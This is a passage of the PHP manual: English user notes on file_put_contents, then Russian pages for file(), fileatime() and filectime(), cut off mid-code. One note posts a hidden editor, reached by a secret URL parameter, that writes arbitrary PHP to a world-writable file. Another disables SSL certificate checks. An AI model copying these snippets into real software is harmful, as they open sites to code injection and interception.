It's important to understand that LOCK_EX will not prevent reading the file unless you also explicitly acquire a read lock (shared locked) with the PHP 'flock' function.

i.e. in concurrent scenarios file_get_contents may return empty if you don't wrap it like this:

<?php
$myfile=fopen('test.txt','rt');
flock($myfile,LOCK_SH);
$read=file_get_contents('test.txt');
fclose($myfile);
?>

If you have code that does a file_get_contents on a file, changes the string, then re-saves using file_put_contents, you better be sure to do this correctly or your file will randomly wipe itself out.
michel kollenhoven 19-Jul-2013 09:35
re: moura dot kadu at gmail dot com

why not ? file_put_contents('ftp://user:pass@server/path/to/file',$data);
vahkos at mail dot ru 22-Jan-2012 08:06
file_put_contents does not issue an error message if file name is incorrect(for example has improper symbols on the end of it /n,/t)
that is why use trim() for file name.
$name=trim($name);
file_put_contents($name,$content);
caiofior at gmail dot com 27-Oct-2011 01:56
I had some troubles using file_put_contents with an absolute but no canonicalized path (eg. w:/htdocs/pri/../test/log.txt): on windows environment php was unable to create the file also using the realpath function .
I had to use fopen and frwite functions to write the data.
moura dot kadu at gmail dot com 23-Sep-2011 12:18
I made ??a ftp_put_contents function.

hope you enjoy.

<?php

function ftp_put_contents($fpc_path_and_name, $fpc_content) {

    //Temporary folder in the server
    $cfg_temp_folder = str_replace("//", "/", $_SERVER['DOCUMENT_ROOT']."/_temp/");

    //Link to FTP
    $cfg_ftp_server = "ftp://ftp.com";

    //FTP username
    $cfg_user = "user";

    //FTP password
    $cfg_pass = "password";

    //Document Root of FTP
    $cfg_document_root = "DOCUMENT ROOT OF FTP";

    //Link to the website
    $cfg_site_link = "Link to the website";

    //Check if conteins slash on the path of the file
    $cotains_slash = strstr($fpc_path_and_name, "/");

    //Get filename and paths
    if ($cotains_slash) {
        $fpc_path_and_name_array = explode("/", $fpc_path_and_name);
        $fpc_file_name = end($fpc_path_and_name_array);
    }
    else {
        $fpc_file_name = $fpc_path_and_name;
    }

    //Create local temp dir
    if (!file_exists($cfg_temp_folder)) {
        if (!mkdir($cfg_temp_folder, 0777)) {
            echo "Unable to generate a temporary folder on the local server - $cfg_temp_folder.<br />";
            die();
        }
    }

    //Create local file in temp dir
    if (!file_put_contents(str_replace("//", "/", $cfg_temp_folder.$fpc_file_name), $fpc_content)) {
        echo "Unable to generate the file in the temporary location - ".str_replace("//", "/", $cfg_temp_folder.$fpc_file_name).".<br />";
        die();
    }

    //Connection to the FTP Server
    $fpc_ftp_conn = ftp_connect("$cfg_ftp_server");

    //Check connection
    if (!$fpc_ftp_conn) {
        echo "Could not connect to server <b>$cfg_ftp_server</b>.<br />";
        die();
    }
    else {

        // login
        // check username and password
        if (!ftp_login($fpc_ftp_conn, "$cfg_user", "$cfg_pass")) {
            echo "User or password.<br />";
            die();
        }
        else {

            //Document Root
            if (!ftp_chdir($fpc_ftp_conn, $cfg_document_root)) {
                echo "Error to set Document Root.<br />";
                die();
            }

            //Check if there are folders to create
            if ($cotains_slash) {

                //Check if have folders and is not just the file name
                if (count($fpc_path_and_name_array) > 1) {

                    //Remove last array
                    $fpc_remove_last_array = array_pop($fpc_path_and_name_array);

                    //Checks if there slashs on the path
                    if (substr($fpc_path_and_name,0,1) == "/") {
                        $fpc_remove_first_array = array_shift($fpc_path_and_name_array);
                    }

                    //Create each folder on ftp
                    foreach ($fpc_path_and_name_array as $fpc_ftp_path) {
                        if (!@ftp_chdir($fpc_ftp_conn, $fpc_ftp_path)) {
                            if (!ftp_mkdir($fpc_ftp_conn, $fpc_ftp_path)) {
                                echo "Error creating directory $fpc_ftp_path.<br />";
                            }
                            else {
                                if (!ftp_chdir($fpc_ftp_conn, $fpc_ftp_path)) {
                                    echo "Error go to the directory $fpc_ftp_path.<br />";
                                }
                            }
                        }
                    }
                }
                else {

                }
            }

            //Check upload file
            if (!ftp_put($fpc_ftp_conn, $fpc_file_name, str_replace("//", "/", $cfg_temp_folder.$fpc_file_name), FTP_ASCII)) {
                echo "File upload <b>$fpc_path_and_name</b> failed!<br />";
                die();
            }
            else {
                if (!unlink(str_replace("//", "/", $cfg_temp_folder.$fpc_file_name))) {
                    echo "Error deleting temporary file.<br />";
                    die();
                }
                else {
                    echo "File upload <a href='$cfg_site_link".str_replace("//", "/", "/$fpc_path_and_name")."'><b>$cfg_site_link".str_replace("//", "/", "/$fpc_path_and_name")."</a></b> successfully performed.<br />";
                }
            }

            //Close connection to FTP server
            ftp_close($fpc_ftp_conn);
        }
    }
}

#Sample

$content_file = "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\">
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; CHARSET=Windows-1251\" />
<title>Title</title>
</head>
<body>
<p>Test</p>
</body>
</html>";

ftp_put_contents("test.php", $content_file);
?>
justin dot carlson at gmail dot com 16-Aug-2011 08:28
It should be obvious that this should only be used if you're making one write, if you are writing multiple times to the same file you should handle it yourself with fopen and fwrite, the fclose when you are done writing.

Benchmark below:

file_put_contents() for 1,000,000 writes - average of 3 benchmarks:

 real 0m3.932s
 user 0m2.487s
 sys 0m1.437s

fopen() fwrite() for 1,000,000 writes, fclose() -  average of 3 benchmarks:

 real 0m2.265s
 user 0m1.819s
 sys 0m0.445s
Brandon Lockaby 08-Jul-2011 10:56
Calling file_put_contents within a destructor will cause the file to be written in SERVER_ROOT...
ravianshmsr08 at gmail dot com 15-Dec-2010 01:39
To upload file from your localhost to any FTP server.
pease note 'ftp_chdir' has been used instead of putting direct remote file path....in ftp_put ...remoth file should be only file name

<?php
$host = '*****';
$usr = '*****';
$pwd = '**********';
$local_file = './orderXML/order200.xml';
$ftp_path = 'order200.xml';
$conn_id = ftp_connect($host, 21) or die ("Cannot connect to host");
ftp_pasv($resource, true);
ftp_login($conn_id, $usr, $pwd) or die("Cannot login");
// perform file upload
ftp_chdir($conn_id, '/public_html/abc/');
$upload = ftp_put($conn_id, $ftp_path, $local_file, FTP_ASCII);
if($upload) { $ftpsucc=1; } else { $ftpsucc=0; }
// check upload status:
print (!$upload) ? 'Cannot upload' : 'Upload complete';
print "\n";
// close the FTP stream
ftp_close($conn_id);
?>
error at example dot com 11-Dec-2010 12:47
It's worth noting that you must make sure to use the correct path when working with this function. I was using it to help with logging in an error handler and sometimes it would work - while other times it wouldn't. In the end it was because sometimes it was called from different paths resulting in a failure to write to the log file.

__DIR__ is your friend.
hilton at allcor dot com dot br 04-Nov-2010 04:20
NOTE : file_put_contents create files UTF-8

<?php
$myFile = 'test.txt';
$myContent = 'I love PHP';

file_put_contents($myFile, utf8_encode($myContent));
?>
clement dot delmas at gmail dot com 17-Sep-2010 06:22
NOTE : file_put_contents doesn't add a valid BOM while creating the file

<?php
$myFile = 'test.txt';
$myContent = 'I love PHP';

file_put_contents($myFile, "\xEF\xBB\xBF".$myContent);
?>
deqode at felosity dot nl 15-Feb-2010 12:14
Please note that when saving using an FTP host, an additional stream context must be passed through telling PHP to overwrite the file.

<?php
 /* set the FTP hostname */
 $user = "test";
 $pass = "myFTP";
 $host = "example.com";
 $file = "test.txt";
 $hostname = $user . ":" . $pass . "@" . $host . "/" . $file;

 /* the file content */
 $content = "this is just a test.";

 /* create a stream context telling PHP to overwrite the file */
 $options = array('ftp' => array('overwrite' => true));
 $stream = stream_context_create($options);

 /* and finally, put the contents */
 file_put_contents($hostname, $content, 0, $stream);
?>
John Galt 29-Jul-2009 12:14
I use file_put_contents() as a method of very simple hit counters. These are two different examples of extremely simple hit counters, put on one line of code, each.

Keep in mind that they're not all that efficient. You must have a file called counter.txt with the initial value of 0.

For a text hit counter:
<?php
 $counter = file_get_contents("counter.txt"); $counter++; file_put_contents("counter.txt", $counter); echo $counter;
?>

Or a graphic hit counter:
<?php
 $counter = file_get_contents("counter.txt"); $counter++; file_put_contents("counter.txt", $counter); for($i = 0; $i < strlen($counter); $i++) echo "<img src=\"counter/".substr($counter, $i, 1).".gif\" alt=\"".substr($counter, $i, 1)."\" />";
?>
wjsams at gmail dot com 25-Jun-2009 08:57
file_put_contents() strips the last line ending

If you really want an extra line ending at the end of a file when writing with file_put_contents(), you must append an extra PHP_EOL to the end of the line as follows.

<?php
$a_str = array("these","are","new","lines");
$contents = implode(PHP_EOL, $a_str);
$contents .= PHP_EOL . PHP_EOL;
file_put_contents("newfile.txt", $contents);
print("|$contents|");
?>

You can see that when you print $contents you get two extra line endings, but if you view the file newfile.txt, you only get one.
kola_lola at hotmail dot com 06-Nov-2008 03:31
I wrote this script implementing the file_put_contents() and file_get_contents() functions to be compatible with both php4.* and php 5.*. It is a PHP Command line interface script which searches and replaces a specific word recursively through all files in the supplied directory hierarchy.

Usage from a Linux command line: ./scriptname specifieddirectory searchString replaceString

#!/usr/bin/php
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];

if($argc != 4)
{
echo "This command replaces a search string with a replacement string\n for the contents of all files in a directory hierachy\n";
echo "command usage: $argv[0]  directory searchString replaceString\n";
echo "\n";
exit;
}
?><?php

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function get_file_contents($filename)

      /* Returns the contents of file name passed

      */
      {
      if (!function_exists('file_get_contents'))
      {
      $fhandle = fopen($filename, "r");
      $fcontents = fread($fhandle, filesize($filename));
      fclose($fhandle);
      }
      else
      {
      $fcontents = file_get_contents($filename);
      }
      return $fcontents;
      }
?><?php

function openFileSearchAndReplace($parentDirectory, $searchFor, $replaceWith)
{
//echo "debug here- line 1a\n";
//echo "$parentDirectory\n";
//echo "$searchFor\n";
//echo "$replaceWith\n";

if ($handle = opendir("$parentDirectory")) {
    while (false !== ($file = readdir($handle))) {
        if (($file != "." && $file != "..") && !is_dir($file)) {
          chdir("$parentDirectory"); //to make sure you are always in right directory
         // echo "$file\n";
         $holdcontents = file_get_contents($file);
         $holdcontents2 = str_replace($searchFor, $replaceWith, $holdcontents);
         file_put_contents($file, $holdcontents2);
         // echo "debug here- line 1\n";
         // echo "$file\n";

        }
        if(is_dir($file) && ($file != "." && $file != ".."))
        {
        $holdpwd = getcwd();
        //echo "holdpwd = $holdpwd \n";
        $newdir = "$holdpwd"."/$file";
        //echo "newdir = $newdir \n";  //for recursive call
        openFileSearchAndReplace($newdir, $searchFor, $replaceWith);
        //echo "debug here- line 2\n";
        //echo "$file\n";
        }
    }
    closedir($handle);
 }
}

$parentDirectory2 = $argv[1];
$searchFor2 = $argv[2];
$replaceWith2 = $argv[3];

//Please do not edit below to keep the rights to this script
//Free license, if contents below this line is not edited
echo "REPLACED\n'$searchFor2' with '$replaceWith2' recursively through directory listed below\nFor all files that current user has write permissions for\nDIRECTORY: '$parentDirectory2'\n";
echo "command written by Kolapo Akande :) all rights reserved :)\n";

 $holdpwd = getcwd();
 //echo "$holdpwd\n";
chdir($parentDirectory2);
openFileSearchAndReplace($parentDirectory2, $searchFor2, $replaceWith2);
exit;
?>
admin at nabito dot net 04-Aug-2008 01:11
This is example, how to save Error Array into simple log file

<?php

$error[] = 'some error';
$error[] = 'some error 2';

@file_put_contents('log.txt',date('c')."\n".implode("\n", $error),FILE_APPEND);

?>
TrentTompkins at gmail dot com 02-Jul-2008 05:25
File put contents fails if you try to put a file in a directory that doesn't exist. This creates the directory.

<?php
    function file_force_contents($dir, $contents){
        $parts = explode('/', $dir);
        $file = array_pop($parts);
        $dir = '';
        foreach($parts as $part)
            if(!is_dir($dir .= "/$part")) mkdir($dir);
        file_put_contents("$dir/$file", $contents);
    }
?>
the geek man at hot mail point com 03-Jan-2008 03:23
I use the following code to create a rudimentary text editor. It's not fancy, but then it doesn't have to be. You could easily add a parameter to specify a file to edit; I have not done so to avoid the potential security headaches.

There are still obvious security holes here, but for most applications it should be reasonably safe if implemented for brief periods in a counterintuitive spot. (Nobody says you have to make a PHP file for that purpose; you can tack it on anywhere, so long as it is at the beginning of a file.)

<?php
$random1 = 'randomly_generated_string';
$random2 = 'another_randomly_generated_string';
$target_file = 'file_to_edit.php';
$this_file = 'the_current_file.php';

if ($_REQUEST[$random1] === $random2) {
    if (isset($_POST['content']))
        file_put_contents($target_file, get_magic_quotes_qpc() ? stripslashes($_POST['content']) : $_POST['content']);

    die('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
        <title>Editing...</title>
    </head>
    <body>
        <form method="post" action="' . $this_file . '" />
        <input type="hidden" name="' . $random1 . '" value="' . $random2 . '" />
        <textarea name="content" rows="50" cols="100">' . file_get_contents($target_file) . '</textarea><br />
        <input type="submit" value="Save Changes" />
        </form>
    </body>
</html>');
}
?>

Then simply browse to hxxp://www.example.com/{$this_file}?{$random1}={$random2}, with the appropriate values substituted for each bracketed variable. Please note that this code assumes the target file to be world writable (-rw-rw-rw- or 666) and will fail to save properly without error if it is not.

Once again, this is by no means secure or permanent, but as a quick fix for brief edits to noncritical files it should be sufficient, and its small size is a definite bonus.
egingell at sisna dot com 20-Dec-2007 07:15
There is a better way. www.php.net/touch

Since you're not adding anything to the file,

<?php
function updateFile($filename) {
    if (!file_exists($filename)) return;
    touch($filename);
}
?>
Curtis 21-Dec-2006 03:20
As to the previous user note, it would be wise to include that code within a conditional statement, as to prevent re-defining file_put_contents and the FILE_APPEND constant in PHP 5:

<?php
   if ( !function_exists('file_put_contents') && !defined('FILE_APPEND') ) {
   ...
   }
?>

Also, if the file could not be accessed for writing, the function should return boolean false, not 0. An error is different from 0 bytes written, in this case.
egingell at sisna dot com 23-Jul-2006 04:11
In reply to the previous note:

If you want to emulate this function in PHP4, you need to return the bytes written as well as support for arrays, flags.

I can only figure out the FILE_APPEND flag and array support. If I could figure out "resource context" and the other flags, I would include those too.

<?

define('FILE_APPEND', 1);
function file_put_contents($n, $d, $flag = false) {
    $mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w';
    $f = @fopen($n, $mode);
    if ($f === false) {
        return 0;
    } else {
        if (is_array($d)) $d = implode($d);
        $bytes_written = fwrite($f, $d);
        fclose($f);
        return $bytes_written;
    }
}

?>
aidan at php dot net 20-May-2004 07:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Читает содержимое файла и помещает его в массив

  • « file_put_contents
  • fileatime »
  • PHP Manual
  • Функции файловой системы
  • Читает содержимое файла и помещает его в массив

file

(PHP 4, PHP 5, PHP 7, PHP 8)

file — Читает содержимое файла и помещает его в массив

Описание

file(string $filename, int $flags = 0, ?resource $context = null): array|false

Читает содержимое файла и помещает его в массив.

Замечание:

Можно также использовать функцию file_get_contents() для получения файла в виде строки.

Список параметров

filename

Путь к файлу.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

flags

В качестве необязательного параметра flags может можно указать одну или более следующих констант:

FILE_USE_INCLUDE_PATH
Ищет файл в include_path.
FILE_IGNORE_NEW_LINES
Пропускать новую строку в конце каждого элемента массива
FILE_SKIP_EMPTY_LINES
Пропускать пустые строки
FILE_NO_DEFAULT_CONTEXT
Не использовать контекст по умолчанию

context

Ресурс (resource) с контекстом потока.

Возвращаемые значения

Возвращает файл в виде массива. Каждый элемент массива соответствует строке файла, с символами новой строки включительно. В случае ошибки file() возвращает false.

Замечание:

Каждая строка в полученном массиве будет завершаться символами конца строки, если только не используется FILE_IGNORE_NEW_LINES).

Замечание: Если у вас возникают проблемы с распознаванием PHP концов строк при чтении или создании файлов на Macintosh-совместимом компьютере, включение опции auto_detect_line_endings может помочь решить проблему.

Ошибки

Вызывает ошибку уровня E_WARNING, если файл не существует.

Примеры

Пример #1 Пример использования file()

<?php
// Получает содержимое файла в виде массива. В данном примере мы используем
// обращение по протоколу HTTP для получения HTML-кода с удалённого сервера.
$lines = file('http://www.example.com/');

// Осуществим проход массива и выведем содержимое в виде HTML-кода вместе с номерами строк.
foreach ($lines as $line_num => $line) {
echo "Строка #<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />\n";
}

// Используем необязательный параметр flags
$trimmed = file('somefile.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
?>

Примечания

Внимание

При использовании SSL, Microsoft IIS нарушает протокол, закрывая соединение без отправки индикатора close_notify. PHP сообщит об этом как "SSL: Fatal Protocol Error" в тот момент, когда вы достигнете конца данных. Чтобы обойти это, вы должны установить error_reporting на уровень, исключающий E_WARNING. PHP умеет определять, что на стороне сервера находится проблемный IIS при открытии потока с помощью обёртки https:// и не выводит предупреждение. Если вы используете fsockopen() для создания ssl:// сокета, вы сами отвечаете за определение и подавление этого предупреждения.

Смотрите также

  • file_get_contents() - Читает содержимое файла в строку
  • readfile() - Выводит файл
  • fopen() - Открывает файл или URL
  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix
  • popen() - Открывает файловый указатель процесса
  • include - include
  • stream_context_create() - Создаёт контекст потока

User Contributed Notes

renanlazarotto at gmail dot com 28-Apr-2021 06:37
Be aware that using file() to count lines can cause OOM on the server as it'll allocate all lines into an array.

If you're dealing with files that can have thousands of lines, SplFileObject might be a better idea and with little changes you can get the same result.
sheldon at hyperlinked dot com 29-May-2019 10:25
As of PHP 5.6 the file(), file_get_contents(), and fopen() functions will return false if you are referencing a source URL that doesn't have a valid SSL certificate. Presumably, you will run into this a lot in your development environments this will drive you crazy.

You will need to create a stream context and provide it as an argument to the various file operations to tell it to ignore invalid SSL credentials.

$args = array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false),"http"=>array('timeout' => 60, 'user_agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/3.0.0.1'));

$context = stream_context_create($args);
$httpfile = file($url, false, $context);
radler63 at hotmail dot com 04-Oct-2018 04:34
My experience is that the function file does uses the cached content if the file has changed....
lanresmith 01-Jun-2017 01:32
Using if ( file(name.txt) ) might not be enough for testing if the file was successfully opened for reading because the file could be empty in which case the array returned is empty, so test instead with !==. e.g.:

$file_array = file('test.txt'); // an empty file

echo '<pre>';
if ( $file_array ) {
    # code...
    echo "success\n";
} else {
    # code...
    echo "failure\n"; // executed
}

if ( $file_array !== false ) {
    # code...
    echo "success\n"; // executed
} else {
    # code...
    echo "failure\n";
}
echo '</pre>';

result:
failure
success
Martin K. 05-Aug-2014 04:38
If the file you are reading is in CSV format do not use file(), use fgetcsv().  file() will split the file by each newline that it finds, even newlines that appear within a field (i.e. within quotations).
marco dot remy at aol dot com 17-Jun-2014 07:54
Here's my CSV converter
supports Header and trims all fields
Note: Headers must be not empty!

<?php

function csv2array($file, $delim = ';', $encl = '"', $header = false) {

    # File does not exist
    if(!file_exists($file))
        return false;

    # Read lines of file to array
    $file_lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

    # Empty file
    if($file_lines === array())
        return NULL;

    # Read headers if you want to
    if($header === true) {
        $line_header = array_shift($file_lines);
        $array_header = array_map('trim', str_getcsv($line_header, $delim, $encl));
    }

    $out = NULL;

    # Now line per line (strings)
    foreach ($file_lines as $line) {
        # Skip empty lines
        if(trim($line) === '')
            continue;

        # Convert line to array
        $array_fields = array_map('trim', str_getcsv($line, $delim, $encl));

        # If header present, combine header and fields as key => value
        if($header === true)
            $out[] = array_combine ($array_header, $array_fields);
        else
            $out[] = $array_fields;
    }

    return $out;
}
?>
Anonymous 25-Dec-2013 04:31
("file()'s problem with UTF-16" is wrong. This is updated.
The former may miss the last line of the string.)

file() seems to have a problem in handling
UTF-16 with or without BOM.

file() is likely to think "\n"=LF (0A) as a line-ending.
So, not only "000A" but also "010A, 020A,...,FE0A, FF0A,..."
are regarded as line-endings.

Moreover, file() causes a serious problem in UTF-16LE.
file() loses first "0A" (the first half of "0A00")!
And the next line begins with "00" (the rest of "0A00").
So lines after the first "0A" are totally different.

To avoid this phenomena,
eg. in case (php_script : UTF-8 , file : UTF-16 with line-ending "\r\n"),

<?php

mb_regex_encoding('UTF-16');    // to help mb_ereg_..() work properly
$str = file_get_contents($file_path);
$to_encoding = 'UTF-16';        // encoding of string
$from_encoding = 'UTF-8';        // encoding of PHP_script
$pattern1 = mb_convert_encoding('[^\r]*\r\n', $to_encoding, $from_encoding);
mb_ereg_search_init($str, $pattern1);
while ($res = mb_ereg_search_regs()) {
    $file[] = $res[0];
}
$pattern2 = mb_convert_encoding('\A.*\r\n(.*)\z', $to_encoding, $from_encoding);
mb_ereg($pattern2, $str, $match);
    $file[] = $match[1];

?>

instead of
$file = file($file_path);

If line-ending is "\n",
$pattern1 = mb_convert_encoding('[^\n]*\n', $to_encoding, $from_encoding);
bingo at dingo dot com 14-Oct-2013 12:36
To write all the lines of the file in other words to read the file line by line you can write the code like this:
<?php
$names=file('name.txt');
// To check the number of lines
echo count($names).'<br>';
foreach($names as $name)
{
   echo $name.'<br>';
}
?>

this example is so basic to understand how it's working. I hope it will help many beginners.

Regards,
Bingo
twichi at web dot de 13-Sep-2011 12:33
read from CSV data (file) into an array with named keys

... with or without 1st row = header (keys)
(see 4th parameter of function call as  true / false)

<?php
// --------------------------------------------------------------

function csv_in_array($url,$delm=";",$encl="\"",$head=false) {

    $csvxrow = file($url);   // ---- csv rows to array ----

    $csvxrow[0] = chop($csvxrow[0]);
    $csvxrow[0] = str_replace($encl,'',$csvxrow[0]);
    $keydata = explode($delm,$csvxrow[0]);
    $keynumb = count($keydata);

    if ($head === true) {
    $anzdata = count($csvxrow);
    $z=0;
    for($x=1; $x<$anzdata; $x++) {
        $csvxrow[$x] = chop($csvxrow[$x]);
        $csvxrow[$x] = str_replace($encl,'',$csvxrow[$x]);
        $csv_data[$x] = explode($delm,$csvxrow[$x]);
        $i=0;
        foreach($keydata as $key) {
            $out[$z][$key] = $csv_data[$x][$i];
            $i++;
            }
        $z++;
        }
    }
    else {
        $i=0;
        foreach($csvxrow as $item) {
            $item = chop($item);
            $item = str_replace($encl,'',$item);
            $csv_data = explode($delm,$item);
            for ($y=0; $y<$keynumb; $y++) {
               $out[$i][$y] = $csv_data[$y];
            }
        $i++;
        }
    }

return $out;
}

// --------------------------------------------------------------

?>

fuction call with 4 parameters:

(1) = the file with CSV data (url / string)
(2) = colum delimiter (e.g: ; or | or , ...)
(3) = values enclosed by (e.g: ' or " or ^ or ...)
(4) = with or without 1st row = head (true/false)

<?php

// ----- call ------
$csvdata = csv_in_array( $yourcsvfile, ";", "\"", true );
// -----------------

// ----- view ------
echo "<pre>\r\n";
print_r($csvdata);
echo "</pre>\r\n";
// -----------------

?>

PS: also see: http://php.net/manual/de/function.fgetcsv.php to read CSV data into an array
... and other file-handling methods

^
d basin 14-Oct-2009 03:47
this may be obvious, but it took me a while to figure out what I was doing wrong. So I wanted to share. I have a file on my "c:\" drive. How do I file() it?

Don't forget the backslash is special and you have to "escape" the backslash i.e. "\\":

<?php

$lines = file("C:\\Documents and Settings\\myfile.txt");

foreach($lines as $line)
{
    echo($line);
}

?>

hope this helps...
jon+spamcheck at phpsitesolutions dot com 16-Apr-2008 01:03
A user suggested using rtrim always, due to the line ending conflict with files that have an EOL that differs from the server EOL.

Using rtrim with it's default character replacement is a bad solution though, as it removes all whitespace in addition to the '\r' and '\n' characters.

A good solution using rtrim follows:

<?php
$line = rtrim($line, "\r\n") . PHP_EOL;
?>

This removes only EOL characters, and replaces with the server's EOL character, thus making preg_* work fine when matching the EOL ($)
vbchris at gmail dot com 16-Feb-2008 01:15
If you're getting "failed to open stream: Permission denied" when trying to use either file() or fopen() to access files on another server. Check your host doesn't have any firewall restrictions in-place which prevent outbound connections. This is the case with my host Aplus.net
Reversed: moc dot liamg at senroc dot werdna 12-Jul-2007 02:25
This note applies to PHP 5.1.6 under Windows (although may apply to other versions).

It appears that the 'FILE_IGNORE_NEW_LINES' flag doesn't remove newlines properly when reading Windows-style text files, i.e. files whose lines end in '\r\n'.

Solution: Always use 'rtrim()' in preference to 'FILE_IGNORE_NEW_LINES'.
info at carstanje dot com 28-Nov-2006 12:33
Using file() for reading large text files > 10 Mb gives problems, therefore you should use this instead. It is much slower but it works fine. $lines will return an array with all the lines.

<?php
$handle = @fopen('yourfile...', "r");
if ($handle) {
   while (!feof($handle)) {
       $lines[] = fgets($handle, 4096);
   }
   fclose($handle);
}
?>
justin at visunet dot ie 20-Mar-2003 09:36
Note: Now that file() is binary safe it is 'much' slower than it used to be. If you are planning to read large files it may be worth your while using fgets() instead of file() For example:

<?php
$fd = fopen ("log_file.txt", "r");
while (!feof ($fd))
{
   $buffer = fgets($fd, 4096);
   $lines[] = $buffer;
}
fclose ($fd);
?>

The resulting array is $lines.

I did a test on a 200,000 line file. It took seconds with fgets()  compared to minutes with file().


Возвращает время последнего доступа к файлу

  • « file
  • filectime »
  • PHP Manual
  • Функции файловой системы
  • Возвращает время последнего доступа к файлу

fileatime

(PHP 4, PHP 5, PHP 7, PHP 8)

fileatime — Возвращает время последнего доступа к файлу

Описание

fileatime(string $filename): int|false

Возвращает время последнего доступа к файлу.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает время, когда в последний раз был осуществлён доступ к указанному файлу или false в случае возникновения ошибки. Время возвращается в виде временной метки Unix.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования функции fileatime()

<?php

// Пример вывода: В последний раз обращение к файлу somefile.txt было произведено: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
echo "В последний раз обращение к файлу $filename было произведено: " . date("F d Y H:i:s.", fileatime($filename));
}

?>

Примечания

Замечание:

Предполагается, что время последнего доступа файла изменяется во время чтения блоков файла. Это может потребовать значительного количества системных ресурсов, особенно когда приложение обращается к большому числу файлов или каталогов.

С целью увеличения производительности некоторые файловые системы на платформах Unix могут быть примонтированы с отключённой возможностью обновления времени последнего доступа к файлам, примером этого могут служить каталоги для хранения сообщений USENET. В подобных случаях использование данной функции бессмысленно.

Замечание:

Учтите, что обработка времени может отличаться в различных файловых системах.

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • filemtime() - Возвращает время последнего изменения файла
  • fileinode() - Возвращает индексный дескриптор файла
  • date() - Форматирует временную метку Unix

User Contributed Notes

There are no user contributed notes for this page.


Возвращает время изменения индексного дескриптора файла

  • « fileatime
  • filegroup »
  • PHP Manual
  • Функции файловой системы
  • Возвращает время изменения индексного дескриптора файла

filectime

(PHP 4, PHP 5, PHP 7, PHP 8)

filectime — Возвращает время изменения индексного дескриптора файла

Описание

filectime(string $filename): int|false

Возвращает время изменения индексного дескриптора (inode) файла.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает время последнего изменения файла или false в случае возникновения ошибки. Время возвращается в формате временной метки Unix.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования функции filectime()

<?php

// Пример вывода: Файл somefile.txt в последний раз был изменён: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
echo "Файл $filename в последний раз был изменён: " . date("F d Y H:i:s.", filectime($filename));
}

?>

Примечания

Замечание:

Примечание. На большинстве платформ Unix, файл считается изменённым, если изменены данные его индексного дескриптора, что включает информацию о правах на файл, о его владельце, группе и другие метаданные, содержащиеся в индексном дескрипторе. Обратитесь также к описаниям функций filemtime() (данная функция полезна для создания сообщений типа: "Последнее обновление от ..." на веб-страницах) и fileatime().

Замечание:

Учтите также, что в некоторых описаниях работы Unix ctime представляется как время создания файла. Это неверно. В большинстве файловых систем Unix понятие времени создания файла отсутствует.

Замечание:

Учтите, что обработка времени может отличаться в различных файловых системах.

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • filemtime() - Возвращает время последнего изменения файла

User Contributed Notes

faketruth at yandex dot ru 10-Jun-2015 03:04
If you need file creation time on Mac OS X:

<?php
if ($handle = popen('stat -f %B ' . escapeshellarg($filename), 'r')) {
    $btime = trim(fread($handle, 100));
    echo strftime("btime: %Y.%m.%d %H:%M:%S\n", $btime);
    pclose($handle);
}
?>
coolkoon at gmail dot com 23-Jan-2011 02:42
You should avoid feeding the function files without a path. This applies for filemtime() and possibly fileatime() as well. If you omit the path the command will fail with the warning "filectime(): stat failed for filename.php".
m dot rabe at directbox dot com 06-Jan-2010 06:07
Under Windows you can use fileatime() instead of filectime().
soapergem at gmail dot com 05-Sep-2009 09:19
Note that on Windows systems, filectime will show the file creation time, as there is no such thing as "change time" in Windows.
javi at live dot com 03-Feb-2009 02:15
Filemtime seems to return the date of the EARLIEST modified file inside a folder, so this is a recursive function to return the date of the LAST (most recently) modified file inside a folder.

<?php

// Only take into account those files whose extensions you want to show.
$allowedExtensions = array(
  'zip',
  'rar',
  'pdf',
  'txt'
);

function filemtime_r($path)
{
    global $allowedExtensions;

    if (!file_exists($path))
        return 0;

